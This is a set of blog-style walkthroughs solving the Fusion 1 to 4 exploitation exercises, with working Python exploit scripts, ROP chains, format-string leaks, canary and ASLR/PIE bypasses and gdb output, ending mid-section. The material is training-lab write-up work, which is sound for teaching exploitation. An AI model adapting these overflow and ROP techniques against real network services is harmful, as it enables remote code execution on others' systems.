Fusion 4 Part 2

Hey guys and girls,

Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).

For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂

Game plan:

  1. Understand what are primitives.
  2. Find the main binary.
  3. Find Libc.
  4. Return into system with whatever commands you want to run on the target machine.

Primitives

I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.

For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.

New Game plan:

  1. Find an absolute memory read primitive.
  2. Read an address on the stack (Find the location of the stack)
  3. Read the location of libc by reading the .got.plt.
  4. Use the location libc, and the stack buffer to return into the function system in libc.

Absolute memory read primitive

As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.

In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc  we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).

Assume x is where the return address of the function was. Assume the format string of the printf contains %s

Here is the new code for this part.

def memory_read(password, canary, ebx, main_exe, address, length): 
  rop = [ 
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  address,# address to read 
  ] 
  payload = ebx + "a" * 12 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
  memory = memory[:length] 
  return memory 
 
def get_libc_address(password, canary, ebx, main_exe): 
  # reading the address of open in the .got.plt of the main exe 
  address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4)
  libc_address = buffer_to_address(address_of_open) - 0xc0b60 
  return libc_address 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 
  # ebx, esi, edi, ebp, eip 
  ebx = brute_force_ebx(password, canary) 
  print "ebx is ", ebx.encode("hex") 
  main_exe = buffer_to_address(ebx) - 0x4118 
 
  raw_input("press any key to continue") 
  libc = get_libc_address(password, canary, ebx, main_exe) 

I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.

Stack read primitive

Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.

* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.

After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.

Stack read primitive – take 2

We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?

If you recall, In Fusion 3 I found out that we have the following gadget in libc:

1:
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.

gadgets 1,2,3 will write ESP into “Storage for esp”. Rest of the stack will be used to print the content of “Storage for esp”

I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.

new function:

 
def get_stack_address(password, canary, ebx, main_exe, libc_address): 
  # Unused in the .bss section 
  esp_storage = main_exe + 0x467f 
  rop = [ 
  # Writing esp to esp_storage 
  libc_address + 0x0015ffc9, # push esp; jmp esi 
  
  # pop ecx; pop edx; ret - in esi 
  esp_storage, 
  libc_address + 0x001633a0, # xchg [edx], ecx; ret 
  
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  esp_storage, 
  ] 
  # second gadget 
  new_esi = address_to_buffer(libc_address + 0x0002da2b) 
 
  payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
 
  # sizeof address 
  length = 4 
  memory = memory[:length] 
  # 0x813 is the distance between the address I get and the end of the 
  # password in the details buffer in validate_password. 
  return buffer_to_address(memory) - 0x813 

Exploit

The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂

Fusion 3

Hello boyz and girlz. Today I will solve fusion 3. But I must go play Sattelers of Catan with friends later so let’s make it quick 😀

There is an old saying that goes something like: “Fast is slow, slow is fast, do it once and do it right.” So we will try to work in baby steps in order to finish this post and exploit fast… btw remember it next time you play an escape room.

First thing we do is go and read the code of Fusion-3. Take as much time as we need to understand what it should do..

Here is what I understood:

  1. It is some kind of web server.
  2. It allows us to post articles after authentication.
  3. Every connection is forked and therefore has the same address space of the parent process. Which means infinite number of times we can crash the program in our solution.

Game plan:

  1. Read the code and find the vulnerability.
  2. Write a working client for this server.
  3. Find the address of libc
  4. Use the legitimate code flow to store a string in one of the 2 globals that can store strings (gContents or gTitle)
  5. Call system on this string
  6. Win this game of Catan with friends

* I read the code again and we can’t do it. These globals are just pointers, the actual strings will be malloced I would have to deference them to make it work. Let’s find libc and then decide how to continue

Crashing the program

To find the vulnerability I search for ‘[‘ in the code, because I am looking for arrays. Specifically looking for bugs in handling of arrays. Pretty fast I understand that the arrays I can work with are either title or content in the function handle_request, and that the bug must be in decode string.

If you look carefully at the loop in the function. If somehow we manage to increase dest so that dest > end when the condition is tested we get can overflow the buffer and stop at /0. I bealive that we found an overflow. But we will have to test it.

Consider the loop condition

Our next job is to write a working client…

Because the program do not print it’s errors, I connect with ssh to the VM that runs the machine, and using gdb  I place a breakpoint on the function errx, every time my client fails I try to understand why.

Basically we need to send a request that looks like this:

// TOKEN
{
json
}

But the request must also match a certain hash function. The first 2 bytes of the hmac-sha1 hash of the entire request must be 0. I do it by adding a comment at the end of the request and brute forcing values. I work on my client until I get the error message “Unable to parse request”, fair error for a request of “a”* 128 :D. Anyway it means that my request passed the hash test. Which is what I was going for. I change the json body to something that should trigger the function decode_string, make sure it triggers decode_string with a debugger. and then save it up as a working client.

#! /usr/bin/env python 
import socket 
from hashlib import sha1 
from string import ascii_letters 
import hmac 
import random 
 
PORT = 20003 
HOST = "VM" 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  # The token is sent to us with \" before and after 
  token = s.recv(1000)[1:-2] 
  return s, token 
 
def find_working_placeholder_for_mac(token, request): 
  request = request + "\n //" 
  expected_len = len(request) + 6 
  # WTF?!? what kind of stupid bug is this? 
  # request must be in even length 
  if (expected_len % 2) != 0: 
    request += " " 
 
  while True: 
    word = ''.join(random.sample(ascii_letters, 6)) 
    new_request = "%s%s" % (request, word) 
    hashed = hmac.new(token, new_request, sha1) 
    hex_digest = hashed.hexdigest() 
    if(hex_digest.startswith("0" * 4)): 
      print "found a placeholder for the digest, len = %x token_len = %x" %(len(new_request), len(token))
      return new_request 
 
def send_a_request(s, token, json): 
  request = "{token} \n {json}".format(token = token, json = json) 
  new_request = find_working_placeholder_for_mac(token, request) 
  s.send(new_request)

def main(): 
  s, token = create_a_session() 
  send_a_request(s, token, "{\"title\" : \"Rick and Morty\"}") 
  print s.recv(1000) 
 
if __name__ == "__main__": 
  main() 

I write the code to overflow the buffer in decode_string. I chose the title buffer because it’s the first variable in the function which means It should be closest to the return address of the function. I had some small bugs in my code  my code is perfect on the first try!

I get to this point:

(gdb) info registers 
eax            0xffffffff       -1
ecx            0xb75a2398       -1218829416
edx            0xffffffff       -1
ebx            0x62626262       1650614882
esp            0xbff2fc70       0xbff2fc70
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x62626262       0x62626262
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

As you can see I control most registers. I save the client script and start working on the exploit itself 🙂

def build_json_tag(tag, value): 
  return "\"{}\" : \"{}\"".format(tag, value) 
 
def build_overflowed_title(payload): 
  data = "a" * 127 
 
  # The 128th byte is not an overflowed byte yet. 
  # The 16 bytes are local vars and stuff that dosn't matter. 
  # They are being written before being read.
  payload = "\x00" + "a" * 16 + payload 
  for i in xrange(len(payload)/2): 
    byte1 = ord(payload[i * 2]) 
    byte2 = ord(payload[i * 2 + 1]) 
    data += "\\\\u%.4x" %(byte1 * 0x100 + byte2, ) 
 
  # adding bytes with /u adds 2 bytes at a time. 
  if (len(payload) % 2 == 1) and ord(payload[-1]) == 0: 
  raise "last byte of even length payload must not be zero" 
 
  if (len(payload) % 2 == 1): 
    data += payload[-1] 
 
  if "\x00" in data: 
    raise "bug in code, \x00 should be encoded by now." 
 
  return build_json_tag("title", data) 
 
 
def main(): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  json = "{%s}" % (build_overflowed_title("b" * 20), ) 
  send_a_request(s, token, json) 

leaking the info

Now we need to figure out what can we do with it… excuse me. I meant to say: Now we need to figure out how do we find libc with what we have. On a personal note, this is the part I like the most in this kind of work. Because it is like solving a giant complicated Sudoku puzzle.

Well the trick with printing stuff we did in fusion 2  will not work here. The reason it won’t work is that the program closed stdin, stdout and stderror. So we will not get any output from printing them.

What can we do? We can use any function in the import table of the main binary. And we can use any function inside the binary (Because this is not compiled as Position Independent code), the load address of the binary is static. And we can use any constant we need as a function argument.

This is pretty much all of the external functions we can use. Take your time and try to think if you know how can we get the address of libc.

After thinking about it I figured out we can build an absolute read primitive from what we have by doing this:

  1. Pass serverip as our ip address,
  2. Pass a contents with whatever length we want to read. Just to set gContents_len with the length of the data we want to read.
  3. Rop into memcpy(gContents, address_to_read, 4) and then post_blog_article. This will cause the program to copy from whatever address we want into the global gContent, and then read from this address and send it to our IP address in HTTP format! We will read the address of a function in .got.plt and will calculate the offset of libc.

I code this up and it works! Now we have the address of libc and we can read any address we would like in the program’s address space. Just needs to find the address of a buffer we control

def get_local_ip(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  s.connect(("VM", 0)) # connecting to a UDP address doesn't send packets 
  return s.getsockname()[0] 
 
def recive_data_on_tcp_port(port): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
  s.bind(("", port)) 
  s.listen(1) 
  conn, address = s.accept() 
  data = conn.recv(1024) 
  conn.close() 
  s.close() 
  return data 
 
def ropchain_to_payload(rop_chain): 
  payload = "" 
  for number in rop_chain: 
    payload += struct.pack("I", number) 
  return payload 

def memory_read(address, length): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  0x8048e60, #memcpy 
  0x8049205, #3 pops and return(return address for memcpy) 
  0x804bdf4, #gContent (1st param for memcpy) 
  address , #dest for memcpy 
  0x0000004, #length for memcpy 
  
  0x8049f20, #post_blog_artical(second function call) 
  
  0x8048f80, # exit (third function call) 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * length) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  return response 
 
def get_libc_address(): 
  # address of open in .got.plt 
  address_of_open = struct.unpack("I", memory_read(0x8048c32, 4))[0] 
  return address_of_open - 0xc0b60 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  print hex(struct.unpack("I", memory_read(0x804be04, 4))[0]) 

 

Hammm now that I can memory read whatever I want*, we need to figure out how to use it to get the address of a buffer we can control. Well I can do the rop-exploition-with-adddress-of-libc-only. But I am keeping this ace for some later exercise in this series.  And besides, I am feeling adventurous.

* If you think about it, we don’t exactly have the ability to read wherever we want yet, we have a memory read primitive that recives a pointer to a pointer to the data we want to read, (instead of a pointer to that data). Which is not ideal. But for now it will do because we know a place which has a pointer to a pointer to imported functions and we can find libc with it..

Some more primitives in libc

My first thought was I must be able to somehow read the address of a heap data structure to predict the next(actually previous) heap allocation – This program relies heavily on heap allocations and I am sure I can find one of my buffers on the heap. The problem with it is that my memory read requires 2 level of pointing, kind of like calling printf(“%x”, *pointer_to_pointer_to_data). Which is kind of lame… I Couldn’t find this pointer to pointer to my address I was looking for. And besides, I want to practice my ropping skills..

After running ropgadget on libc I found the following 3 gadgets (short sequence of opcodes):

1: 
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

We will run them in the order they are written in. But let’s consider them backwards to understand what they are doing.

Number 3, allows us to write whatever we want wherever we want, (As long as we control $edx and $ecx).

Number 2, lets us control $edx and $ecx. We can write whatever we want where ever we want (yay!).

Number 1, allows us to use the stack pointer as a part of our rop by pushing it and jumping to an address (as opposed to pushing it and returning into it.)

This allows me to write the address of $esp into anywhere I want. What If I will write it into gContents? When the program will try to print gContents it will print the contents of the stack instead!

I wrote it and it works. After getting the address of the stack, by reading the stack and searching for a pointer to a stack variable on it, I found one with constant distance from a buffer on the stack I control, (char title[128]). Wrote the simple POC exploit we all love: return into system(“touch /tmp/a”)

def get_stack_address(libc_address): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  esi = struct.pack("I", libc_address + 0x0002da2b) 
  payload = "b" * 4 + esi +"c" * 8 
  rop_chain = [ 
  libc_address + 0x0015ffc9, 
  
  # after the first gadget, esp will be there. 
  0x804bdf4, # gContents 
  
  libc_address + 0x001633a0, 
 
  0x8049f20, 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  address_on_stack = struct.unpack("I", response[20:24])[0] 
 
  # This stack address we find is exectly 204 bytes away from the address of 
  # title. 
  return address_on_stack - 204 

def exploit(libc_address, address_of_title): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  libc_address + 0x3cb20, #adddres of system 
  libc_address + 0x329e0, #adddres of exit, return address for printf 
  address_of_title # buffer for system 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload, "touch /tmp/a; ") 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  address_of_title = get_stack_address(libc_address) 
  exploit(libc_address, address_of_title)

 

btw, I won that game. Always invest in production when playing Catan!

 

Fusion 2

Another day another exploit!

This time we will be working on Fusion2 from exploit-exercises.com

It is a little bit harder than the previous 2 exercise that we solved here because it involves some crypto-wannabe function and some more mitigation that we haven’t seen before. The good news about the mitigation (non executable stack and heap) is that we didn’t try to execute code from the stack or heap last 2 levels so we should be fine.

Now go read the code of Fusion2 take as much time as you need. Find the buffer overflow. If you don’t understand what the program does. I believe you should learn how to program in C before you learn how to bugs in C code. 

Game plane

  1. Find the buffer overflow.
  2. Control the data being written to stack.
  3. Find the address of the stack
  4. Find the address of libc
  5. Call system with a predefined buffer.
  6. Go catch some sun at the beach!

The overflow:

Well, the buffer “buffer” is kept on the stack, the program receives a length n and then reads n bytes into this buffer, xors them with a secret key and then returns them back to you. In no stage this length is being verified to be shorter than the length of the buffer! Seems like we found our overflow. Now lets write a simple client to communicate with it and test it.

 
#! /usr/bin/env python 
import socket 
import struct 
import time 
 
PORT = 20002 
HOST = "VM" 
 
def send_encrypt_command(s, data): 
  s.send("E") 
  s.send(struct.pack("I", len(data))) 
  s.send(data) 
  time.sleep(0.1) 
  s.recv(len("[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")+1)
  output_length = struct.unpack("I",s.recv(4))[0] 
  print "reciveing output for encrypt command %d bytes"% (output_length, ) 
  return s.recv(output_length) 
 
def send_quit_command(s): 
  s.send("Q") 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
  return s 
 
def main(): 
  s = create_a_session() 
  send_encrypt_command(s, "a"* 5000) 
 
if __name__ == "__main__": 
  main() 

It seems to be working fine. Now lets connect with a debugger and see if we can crash it!

0x6c2ba758 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x6c2ba758:  Cannot access memory at address 0x6c2ba758

We crashed it! seems like we overflowed the stack buffer, but the crash address is pretty random. Well, a xor of a random number and our buffer.  We can’t really do anything with a crash in a random address…

Controlling the force:

Now let’s see if we can control the data we overflow with.  Back to examine the function cipher.

Seems like the cipher key is calculated once per connected client (It happens after the fork, which means that it happens once per child) and we get back our input xored with this key.

We know that X xor 0 = X for every X. So we will send a buffer full of zeros to be xored and returned to us. The output is the xor key for this connection.

Let’s code this new logic:

 
KEY_LENGTH = 32 
def get_encryption_key(s): 
  return send_encrypt_command(s, "\x00" * KEY_LENGTH) 
 
def xor_buffer(key, buff): 
  new_buff = [] 
  for i, b in enumerate(buff): 
    new_b = chr(ord(b) ^ ord(key[i % KEY_LENGTH])) 
    new_buff.append(new_b) 
  return "".join(new_buff) 
 
def send_overflowed_buffer(s, key, payload): 
  data = "a" * (32 * 4096) 
  data += payload 
  xored_data = xor_buffer(key, data) 
  return send_encrypt_command(s, xored_data) 
 
def main(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
  send_overflowed_buffer(s, key, "bbbb" * 4 + "cccc") 
  send_quit_command(s) 

And run it, while being connected with a gdb

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26424]
0x63636363 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x63636363: Cannot access memory at address 0x63636363
(gdb) info registers 
eax 0x51 81
ecx 0xbf916dbb -1080988229
edx 0x1 1
ebx 0xb771dff4 -1217273868
esp 0xbf936dd0 0xbf936dd0
ebp 0x62626262 0x62626262
esi 0x0 0
edi 0x0 0
eip 0x63636363 0x63636363
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0x51: <Address 0x51 out of bounds>
(gdb) x/s $ebx
0xb771dff4: "|}\027"
(gdb) x/s $ecx
0xbf916dbb: "Q", 'a' <repeats 32 times>"\247, \022"
(gdb) x/s $edx
0x1: <Address 0x1 out of bounds>

And it works, we control the return address! Notice that 0x64 is ‘c’ and 0x64646464 is “cccc”

So now that we control the return address lets see what else we need in order to get a working exploit. The way I like to roll, is to call system with a string I control.

To do that we need:

  1. Find libc
  2. Find how the address of a buffer we control (that will contain the line we would like to run.)

In order to find the address of libc, we can do a similar trick to the one we did in fusion1. This time we will just return into the function printf, with an address of a pointer to libc as a format string. This pointer can be found in  .got.plt of the executable.

def get_address_of_libc(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8048870) #adddres of printf 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", 0x804b3c8) #adddres open in .got.plt, what we want to printf
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload)  
  send_quit_command(s) 
  data = s.recv(1000) 
  data = data[:4] 
  address_of_open = struct.unpack("I", data)[0] 
  address_of_libc = address_of_open - 0xc0b60 
  return address_of_libc

Okey now that we have the address of libc, we just need to figure out how to get the address of a buffer we control so that we can pass it into system. (Actually controlling the stack and having the address of libc is enough but requires more complicated exploit script, we will see it in future article.)

Finding stack address

Remember we control the value of ecx? (it’s the string we input as file to encrypt), I run a search of usages of ecx in ida trying to find a place I can use it. And I come by this block of code:

What do we see here? It’s a call to the function fprintf with the format string being passed on $ecx. If we jump into this code  2 opcodes after the call to strerror, we can pass any format string we want to fprintf. And if I will pass enough %x’s I can read as much of the stack as I would like. Somewhere on the stack I expect to find and address of a stack variable.

I try to do it, and somehow this variable gets corrupted from some point, so I can’t send as many %x’s that I need. I connect with a debugger and figure out that the 12th stack variable is a pointer to a variable that is on the stack, I use the format %12$x to print it as a hex number. It prints the 12th-4 byte parameter on the stack as an hexadecimal number. I test it and it is exactly 0x200d8 bytes away from the buffer I control, which means that after getting it I can get the buffer address with simple math.

def get_address_of_buffer(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8049346) #adddres of setting up and calling fprintf
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  # printf format that says, print the 12th stack parameter as hex number 
  prefix = "%12$x" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  data = s.recv(1000) 
  # The first printed char will be Q because of the quit command we must send. 
  stack_address = int(data[1:], 16) 
  buffer_address = stack_address - 0x200d8 
  return buffer_address 

After that, exploiting is pretty easy. We just make sure the buffer starts with a line we want to run, say “touch /tmp/a”. And change the return address to return into the function system with the buffer as the first parameter. And that’s it.

def exploit(libc_address, buffer_address): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  # calling system with buffer as parameter 
  payload = struct.pack("I", libc_address + 0x3cb20) #adddres of system 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", buffer_address) 
 
  prefix = "touch /tmp/a" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  time.sleep(0.1) 
  print s.recv(1000) 
 
def main(): 
  buffer_address = get_address_of_buffer() 
  libc_address = get_address_of_libc() 
  print "libc is at %x, buffer is at %x" %(libc_address, buffer_address) 
  exploit(libc_address, buffer_address) 
 
if __name__ == "__main__": 
  main()

 

Now I am going to the beach!

Not the beach I am going to

I would love to hear what you think about the article and the solution in the comments below.

Fusion 1

Ok, so we are done with Fusion0. And now to Fusion1, conveniently The source code for Fusion1 is the same as the code for Fusion0, the only new thing is that now we have an active ASLR (Address space layout randomization)  that we need to break.

Lets start with the code from Fusion 0, If you do not understand it please go back to Fusion 0 🙂

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

Game plan:

  1. Make sure our solution for fusion0 still works when we know the address.
  2. Think about how to “know” the address

First let’s understand on what addresses our solution of fusion-0. From reading our script, its clear that we relay on “ADDRESS_OF_SYSTEM”, “ADDRESS_OF_EXIT”, and “ADDRESS_OF_BASH_LINE”.

Now let’s see what addresses changed between different runs of the program, we must remember that the server is written as fork server which means that we have one parent server process running and the parent is being “cloned” (actually forked) for each request. Now each of those “clones” (we will call them children) has the same address layout of the parent. It means that in order to test what gets shuffled with ASLR we must use kill the parent program. And restart it:

Connect with gdb to the process, (ASLR is off by default for processes started with gdb).

(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01 
0xb772d000 0xb78a3000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb78b6000 0xb78d4000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so  
0xbf8ac000 0xbf8cd000    0x21000          0           [stack]  

In Bash:
sudo killall -9 level01 
/opt/fusion/bin/level01

Connect again with gdb:
(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
0xb758a000 0xb7700000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb7713000 0xb7731000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 
0xbf860000 0xbf881000    0x21000          0           [stack]

Comparing these 2 outputs, we can clearly see that libc, ld, and the stack moved, but the main binary is loaded to the same address. Well, this is good! We can use any address in the main exec and assume it will not move between instances of the server program.

Unfortently, “ADDRESS_OF_SYSTEM” is in libc which moves. And “ADDRESS_OF_BASH_LINE” was on the stack which also moves. So If we want this exploit work and bypass ASLR, we need to find a reliable way to find the address of libc and the stack.  

In order to understand what I am working with, i place a breakpoint in gdb right when the function fix_path should return, run my exploit script from the fusion0, and lets see what happens.

(gdb) info registers 
eax            0x1      1
ecx            0xb772c8d0       -1217214256
edx            0xbf8ca628       -1081301464
ebx            0xb78a4ff4       -1215672332
esp            0xbf8ca61c       0xbf8ca61c
ebp            0x61616161       0x61616161
esi            0xbf8ca6dd       -1081301283
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>

I than reference all of the registers to see if any of them points into a buffer I can control:

(gdb) x/s $eax
0x1:     <Address 0x1 out of bounds>
(gdb) x/s $ebx                                                                                                                   
0xb78a4ff4:      "|}\027"
(gdb) x/s $ecx                                                                                                                   
0xb772c8d0:      "\320\310r\267h\315r\267\320\310r\267"
(gdb) x/s $edx                                                                                                                   
0xbf8ca628:      ""
(gdb) x/s $esi
0xbf8ca6dd:      " touch /tmp/a; ..."
(gdb) x/s $edi                                                                                                                   
0x8049ed1:       ""

Remember how I used distinguishable patterns (Like a long list of ‘a’s ) now its helps us immediately “see” what happens(0x61616161 == “aaaa”). Cool, we control ebp and the value esi is pointing into. Now lets see what we can do with it.

lets see what happens right after fix_path

We can see that printf is being called with the address of the parameter that is represented by “%s” being saved on  ebp. If we will change ebp so that it will point into an address we want to read, we will probably get the content of that address as the value of the %s in “trying to access %s”

Let’s assume I could read wherever I want in the address space of the program, what would I read to understand the ASLR offsets? That’s right, we would read the .got.plt.

The .got.plt is a table of every imported function (and variable) in a binary. Think of the import table if you are more of a windows guy. When the loader loads the process to memory, it writes the addresses of all of the imported functions into the import table. This way the compiled binary can access the imported functions without knowing where the imported dlls (or so files) are in memory.

The index for the table is the constant for the binary, and the value in that index is set in runtime to point to the every function.

We will read the address of a function in libc, and then find all of the functions we need relative to it.

(gdb) x/wx 0x0804b3cc
0x804b3cc <read@got.plt>:       0xb77ee240

We write the code to do it, but nothing happens…

After some debugging I understand that we also overflow the first byte of the return address.

The reason it happens is that the string we are copying is null terminated. To solve it, i will also copy the original return address over itself.

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
  file_path = "/" 
  pattern = "GET %s%s%s HTTP/1.1 " 
  padding_length = 135 
  padding = "a" * padding_length + struct.pack("I", ebp) 
  BASH_LINE = "touch /tmp/a; " 
  return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
  address_to_read = 0x8048a32 
  fix_path_return_address = struct.pack("I", 0x8049959) 
  commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
  return commands 
 
def main(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  commands = get_address_of_libc() 
  for c in commands: 
    print "Sending:\"%s\"" % (c, ) 
    s.send(c, len(c)) 
    print "Reciving:\"%s\"" % (s.recv(1000), ) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
  main() 

We run it and get:

Reciving:"trying to access `�F@+z� `t�v���`��x�w���|��� ��

                                                          ����|���

See this weird blob of chars in the output? this is what happens when you try to print unprintable chars, we need to encode them as hex in order to be able to read this binary buffer. After some more playing with the script, we have a script that returns the address of libc. 

The function system is in constant offset from the load address of libc. (Constant per version of libc. but we assume that all the binaries on the server remains the same, or else it would be impossible to do anything). Now we have the address of system. Lets figure out how we can pass parameters to it.

Passing a parameter

